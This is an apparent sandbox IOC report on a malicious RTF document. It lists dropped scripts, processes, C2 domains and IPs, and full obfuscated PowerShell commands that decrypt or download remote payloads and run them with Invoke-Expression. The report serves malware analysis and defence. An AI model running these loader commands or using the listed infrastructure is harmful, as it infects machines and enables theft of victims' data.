IOC Report
girlfrnd.doc

loading gif

Files

File Path
Type
Category
Malicious
girlfrnd.doc
Rich Text Format data, version 1
initial sample
malicious
C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs
ASCII text, with very long lines (2168), with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Roaming\sfvnspt.dat
data
dropped
malicious
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdthingstobefrankwithmeeverywhere[1].gif
Unicode text, UTF-16, little-endian text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\json[1].json
JSON data
dropped
C:\Users\user\AppData\Local\Temp\Cab2BE1.tmp
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\Local\Temp\Tar2BE2.tmp
data
modified
C:\Users\user\AppData\Local\Temp\bhv2E13.tmp
Extensible storage engine DataBase, version 0x620, checksum 0x11810319, page size 32768, DirtyShutdown, Windows version 6.1
dropped
C:\Users\user\AppData\Local\Temp\cqfdddad.kkv.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\g5fqusat.bwf.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\kwnuifnnlmnppbptlmxfdtbrgppi
Unicode text, UTF-16, little-endian text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\o03e5tlq.3nc.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\pwcp0ygr.4ze.psm1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\wc24t2dz.gmb.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\z04lqfvx.aks.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\girlfrnd.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:09 2023, mtime=Fri Aug 11 15:42:09 2023, atime=Fri Jul 26 12:10:42 2024, length=83905, window=hide
dropped
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Generic INItialization configuration [folders]
dropped
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
C:\Users\user\AppData\Roaming\Snigmyrdede.Sko
ASCII text, with very long lines (65536), with no line terminators
dropped
C:\Users\user\Desktop\~$rlfrnd.doc
data
dropped
There are 15 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
malicious
C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
malicious
C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
malicious
C:\Windows\SysWOW64\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\kwnuifnnlmnppbptlmxfdtbrgppi"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\uqsnjxygzufcshdfcxkgggwipdhrwsi"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\uqsnjxygzufcshdfcxkgggwipdhrwsi"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\fkyx"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
There are 5 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIF
104.168.45.34
malicious
iwarsut775laudrye2.duckdns.org
malicious
http://104.168.45.34/59/LMTS.txt
104.168.45.34
malicious
http://b.scorecardresearch.com/beacon.js
unknown
http://acdn.adnxs.com/ast/ast.js
unknown
http://www.imvu.comr
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
unknown
http://www.imvu.com/HK
unknown
https://asociatiatraditiimaria.ro/feed/
unknown
http://ocsp.entrust.net03
unknown
https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
unknown
https://contoso.com/License
unknown
https://support.google.com/chrome/?p=plugin_flash
unknown
http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
unknown
http://www.diginotar.nl/cps/pkioverheid0
unknown
https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
unknown
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm
34.166.62.190
http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
unknown
http://www.nirsoft.net
unknown
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
unknown
https://deff.nelreports.net/api/report?cat=msn
unknown
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
unknown
https://gmpg.org/xfn/11
unknown
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
unknown
http://198.46.176.133
unknown
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
unknown
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
unknown
http://cache.btrll.com/default/Pix-1x1.gif
unknown
http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
unknown
https://www.google.com
unknown
http://geoplugin.net/json.gp/C
unknown
http://geoplugin.net/json.gpdUfw
unknown
http://geoplugin.net/json.gpoUfw
unknown
http://o.aolcdn.com/ads/adswrappermsni.js
unknown
https://asociatiatraditiimaria.ro
unknown
http://cdn.taboola.com/libtrc/msn-home-network/loader.js
unknown
http://www.msn.com/?ocid=iehp
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
unknown
http://static.chartbeat.com/js/chartbeat.js
unknown
http://www.msn.com/de-de/?ocid=iehp
unknown
https://asociatiatraditiimaria.ro/os/transportment.pfm
93.113.54.56
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIFj
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
unknown
https://login.yahoo.com/config/login
unknown
http://104.168.45.34
unknown
http://www.nirsoft.net/
unknown
http://ocsp.entrust.net0D
unknown
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm$
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
unknown
http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
unknown
http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
unknown
https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
unknown
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
unknown
http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
unknown
http://nuget.org/NuGet.exe
unknown
https://www.ccleaner.com/go/app_cc_pro_trialkey
unknown
http://198.46.176.133/Upload/vbs.jpeg
198.46.176.133
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIFu
unknown
http://crl.entrust.net/server1.crl0
unknown
https://asociatiatraditiimaria.ro/comments/feed/
unknown
https://contextual.media.net/8/nrrV73987.js
unknown
http://www.imvu.com
unknown
https://api.w.org/
unknown
https://contoso.com/Icon
unknown
https://contextual.media.net/
unknown
http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
unknown
https://asociatiatraditiimaria.ro/wp-json/
unknown
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
unknown
http://www.msn.com/
unknown
http://ns.adobede
unknown
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
unknown
http://geoplugin.net/json.gp
178.237.33.50
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
unknown
http://new.quranushaiqer.org.sa
unknown
https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
unknown
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
unknown
https://new.quranushaiqer.org.sa
unknown
http://cdn.at.atwola.com/_media/uac/msn.html
unknown
http://go.microsoft.c
unknown
https://www.google.com/accounts/servicelogin
unknown
http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
unknown
https://secure.comodo.com/CPS0
unknown
https://policies.yahoo.com/w3c/p3p.xml
unknown
http://crl.entrust.net/2048ca.crl0
unknown
http://www.msn.com/advertisement.ad.js
unknown
http://www.ebuddy.com
unknown
There are 80 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
iwarsut775laudrye2.duckdns.org
192.253.251.227
malicious
bg.microsoft.map.fastly.net
199.232.214.172
asociatiatraditiimaria.ro
93.113.54.56
geoplugin.net
178.237.33.50
new.quranushaiqer.org.sa
34.166.62.190

IPs

IP
Domain
Country
Malicious
192.253.251.227
iwarsut775laudrye2.duckdns.org
United States
malicious
104.168.45.34
unknown
United States
malicious
34.166.62.190
new.quranushaiqer.org.sa
United States
93.113.54.56
asociatiatraditiimaria.ro
Romania
198.46.176.133
unknown
United States
178.237.33.50
geoplugin.net
Netherlands

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
malicious
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
ho(
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word
Enabled
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
MTTT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
0q(
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
&r(
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle
ReviewToken
